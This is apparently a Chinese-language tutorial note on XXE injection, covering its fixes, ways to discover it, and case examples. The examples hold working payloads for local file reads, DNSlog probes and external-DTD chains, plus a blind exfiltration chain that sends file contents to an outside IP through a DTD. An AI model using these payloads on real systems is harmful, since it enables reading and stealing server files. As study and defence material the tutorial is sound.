目录
XML&XXE
XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。XXE漏洞全称XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
主要危害:可以进行命令读取,读取一些机密或者敏感文件。
XXE修复防御方案
方案1-禁用外部实体
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
Python:
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
方案2-过滤用户提交的XML数据
过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLI
思路&发现
思路点
参考: CTF XXE - MustaphaMond - 博客园
黑盒发现
1、获取得到Content-Type或数据类型为xml时,尝试进行xml语言payload进行测试
2、不管获取的Content-Type类型或数据传输类型,均可尝试修改后提交测试xxe
3、XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行
白盒发现
1、可通过应用功能追踪代码定位审计--根据功能的特殊代表性定位(比如文件上传,可以直接寻找文件上传功能并进行抓包)
2、可通过脚本特定函数搜索定位审计--如果代码没有特点,可以通过百度搜索php的xml脚本,然后在源码中搜索(比如传输数据,任何地方都存在传输数据的代码)
3、可通过伪协议玩法绕过相关修复等
案例
1、读取文件
思路:客户端负责发送xml的数据,服务端负责解析xml数据。那么如果利用xml写一个带有文件读取的代码发送,就实现了文件读取功能
<?xml version="1.0"?>
<!DOCTYPE Mikasa [<!ENTITY test SYSTEM "file:///d:/e.txt">]>
<user><username>&test;</username><password>Mikasa</password></user>
2、带外测试
思路:在进行文件读取时,无法判断代码是否正确,网页是否有回显和漏洞是否存在。如果网页没有回显就无法判断漏洞是否存在,可以利用dsnlog网页工具,如果dnslog有显示那么就证明代码正确并存在漏洞。
利用网址: http://www.dnslog.cn/
<?xml version="1.0" ?>
<!DOCTYPE test [<!ENTITY % file SYSTEM "http://9v57ll.dnslog.cn"> %file;]>
<user><username>&send;</username><password>Mikasa</password></user>
利用Get SubDomain获取域名,当服务器访问时就会获取ip,证明可以访问并存在漏洞
利用xml语句读取dnslog页面获取的域名,当发现可以获取地址时,证明存在漏洞
3、外部实体引用dtd
思路:当一些字符被过滤时,那么可以使用外部实体应用,利用xml语句读取外部dtd文件,而在dtd文件中写入获取文件信息的代码,从而实现读取文件
<?xml version="1.0" ?>
<!DOCTYPE test [<!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd">%file;]>
<user><username>&send;</username><password>Mikasa</password></user>
evil2.dtd文件内容:
<!ENTITY send SYSTEM "file:///d:/e.txt">
利用burp让页面通过xml的确外部dtd文件,并在dtd文件中写入读取文件的代码
获取数据
4、无回显读取文件
思路:利用xml代码,让页面读取文件并进行赋值给变量同时访问dtd文件,在dtd文件中将获取内容的变量赋值到新的变量中并传递到本地服务器,在本地服务器利用php代码接受即可。
<?xml version="1.0"?>
<!DOCTYPE ANY[<!ENTITY % file SYSTEM "file:///d:/e.txt">
<!ENTITY % remote SYSTEM "http://47.94.236.117/test.dtd">
%remote;
%all;
]>
<root>&send;</root>
test.dtd文件内容
<!ENTITY % all "<!ENTITY send SYSTEM 'http://47.94.236.117/get.php?file=%file;'>">
同时读取文件并访问dtd文件,在dtd中负责接收并传递给服务器,get文件为接收文件,test文件为读取信息的写入文件。